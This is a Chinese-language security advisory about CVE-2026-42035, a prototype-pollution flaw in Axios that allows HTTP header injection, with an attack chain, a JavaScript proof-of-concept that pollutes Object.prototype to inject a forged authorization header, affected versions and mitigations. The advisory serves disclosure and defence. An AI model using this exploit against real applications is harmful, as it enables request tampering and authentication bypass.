IPBUF安全漏洞报告
English
CVE-2026-42035 CVSS 7.4 高危

CVE-2026-42035 Axios原型污染导致HTTP请求头注入漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-42035
漏洞类型
原型污染、请求头注入
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axios

相关标签

Prototype PollutionHeader InjectionAxiosCVE-2026-42035Node.js

漏洞概述

Axios是流行的Promise HTTP客户端。在1.15.1和0.31.1版本之前,存在原型污染漏洞,允许攻击者注入任意HTTP头部。漏洞位于HTTP适配器中,利用鸭子类型检查缺陷。当Object.prototype被污染特定属性后,Axios会将普通对象误判为FormData,进而调用攻击者控制的getHeaders函数合并请求头。任何依赖树中的原型污染源均可触发此漏洞。

技术细节

该漏洞的核心在于Axios的lib/adapters/http.js中对数据负载的鸭子类型检查机制。代码通过检查对象是否包含getHeaders、append、pipe、on、once等属性来判断其是否为FormData实例。如果攻击者能够污染Object.prototype,添加这些属性并赋予Symbol.toStringTag,那么一个普通的JavaScript对象会被误认为是FormData。当Axios处理请求时,会调用被污染对象上的getHeaders()方法。由于该方法由攻击者控制,它可以返回任意键值对。这些返回的头部随后会被合并到发出的HTTP请求中。这使得攻击者能够绕过某些安全限制或修改请求行为。值得注意的是,原型污染的原语可以来自应用程序依赖树中的任何其他库。

攻击链分析

STEP 1
步骤1:寻找原型污染源
攻击者在目标应用的依赖树中寻找并利用一个原型污染漏洞(可以是非Axios库的漏洞)。
STEP 2
步骤2:污染全局原型
利用污染源向Object.prototype注入getHeaders、append、pipe等属性,使其具备FormData的特征。
STEP 3
步骤3:触发业务逻辑
等待或诱导应用使用Axios发送HTTP请求,且请求体为普通JavaScript对象。
STEP 4
步骤4:执行头部注入
Axios的HTTP适配器误判对象类型,调用攻击者定义的getHeaders方法,将恶意头部注入到发出的HTTP请求中。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// 1. Pollute Object.prototype with the required gadget properties Object.prototype.getHeaders = function() { // Inject arbitrary headers return { 'x-malicious-header': 'exploited-by-cve-2026-42035', 'authorization': 'Bearer attacker-token' }; }; Object.prototype.append = function() {}; Object.prototype.pipe = function() {}; Object.prototype.on = function() {}; Object.prototype.once = function() {}; Object.prototype[Symbol.toStringTag] = 'FormData'; const axios = require('axios'); // Vulnerable version < 1.15.1 or < 0.31.1 // 2. Send a request with a plain object payload // Due to prototype pollution, Axios treats this plain object as FormData // and merges the headers returned by the polluted getHeaders() into the request. axios.post('http://victim-endpoint.com/api', { some: 'data' }) .then(response => console.log('Request sent:', response.status)) .catch(error => console.error('Error:', error.message));

影响范围

Axios < 1.15.1
Axios < 0.31.1

防御指南

临时缓解措施
如果无法立即升级Axios,建议审查并修复项目中其他可能存在的原型污染漏洞,因为该漏洞需要原型污染作为前置条件。此外,可以通过使用Object.freeze(Object.prototype)来防止原型被污染,但这可能会影响某些依赖动态原型特性的库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表